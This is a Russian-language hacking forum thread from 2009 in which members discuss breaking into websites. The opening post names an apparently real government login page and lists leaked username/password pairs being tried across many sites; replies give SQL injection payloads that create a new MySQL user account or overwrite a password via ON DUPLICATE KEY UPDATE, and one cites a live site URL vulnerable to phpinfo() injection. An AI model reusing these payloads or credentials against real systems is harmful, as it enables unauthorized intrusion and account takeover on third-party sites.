HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1001 из 2422 « Первая < 501901951991 997 998 999 1000 1001 1002 1003 1004 1005 10111051110115012001 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.11.2009, 22:38
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами: 9555536

Репутация: 95
По умолчанию
http://login.main.cne.gov.pr/login.php
есть следующие пары:
adminyn@mic
webmaster:2624

Но опять же ни один не подошел! Мне кажется, что я что то не так делаю,т.к. не может не подходить пароли уже к больше чем к 10 сайтам!
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 13.11.2009, 22:55
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами: 8850336

Репутация: 330
По умолчанию
Ну если есть инъекция в INSERT/DELETE запросе - то можно.
 
Ответить с цитированием

  #3  
Старый 13.11.2009, 23:04
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами: 8947056

Репутация: 229
По умолчанию
Цитата:
Сообщение от Ins3t  
Ну если есть инъекция в INSERT/DELETE запросе - то можно.
Пример внедрения в студию
 
Ответить с цитированием

  #4  
Старый 13.11.2009, 23:25
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами: 8717851

Репутация: 90
По умолчанию
Цитата:
Сообщение от Ins3t  
Ну если есть инъекция в INSERT/DELETE запросе - то можно.
ты забыл добавить одно НО, если у пользователя из под которого работает скрипт ЕСТЬ ПРАВА НА ВЫПОЛНЕНИЕ операторов INSERT/UPDATE/DELETE.

Хотя да, я невнимательно прочитал твоё сообщение. Извиняюсь.
 
Ответить с цитированием

  #5  
Старый 13.11.2009, 23:03
fng
Новичок
Регистрация: 12.11.2009
Сообщений: 20
С нами: 8681832

Репутация: 0
По умолчанию
а если в SELECT-е -- нет?
 
Ответить с цитированием

  #6  
Старый 13.11.2009, 23:14
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами: 8850336

Репутация: 330
По умолчанию
Скуль в имени таблицы:

Цитата:
INSERT INTO [SQL] VALUES('site','lala','blabla','lolo','aaa');
Цитата:
INSERT INTO [mysql.user (user, host, password) VALUES ('new_user', PASSWORD('password')),a,b,c)/*] VALUES ('site', 'lala', 'blabla', 'lolo', 'aaa');
 
Ответить с цитированием

  #7  
Старый 13.11.2009, 23:19
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами: 8947056

Репутация: 229
По умолчанию
Цитата:
Скуль в имени таблицы
А если mysql-inj будет в параметрах? (так то если mysql-inj в имени таблицы то это легко крутить)(именно интересует выход за таблицу и запись в другую какую либо таблицу (но скорее всего это не возможно ))
Последний раз редактировалось wolmer; 13.11.2009 в 23:25..
 
Ответить с цитированием

  #8  
Старый 13.11.2009, 23:38
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами: 10274726

Репутация: 1917


По умолчанию
например:
INSERT INTO users
SET id ={inj}

INSERT INTO users
SET id =1 ON duplicate KEY UPDATE pass = '12345'

поле id должно быть первичным ключем или просто уникальным
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #9  
Старый 14.11.2009, 01:23
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
С нами: 8850336

Репутация: 330
По умолчанию
Как уже поведал мне товарисч razb, эрроры у тебя из за того, что template в языке С - это ключевое слово, а у тебя это переменная. Переименой ее.
 
Ответить с цитированием

  #10  
Старый 14.11.2009, 03:20
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию
Там покруче есть)
Цитата:
http://www.whitehall.ru/producer.php?ID=phpinfo()
 
Ответить с цитированием
Ответ
Страница 1001 из 2422 « Первая < 501901951991 997 998 999 1000 1001 1002 1003 1004 1005 10111051110115012001 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.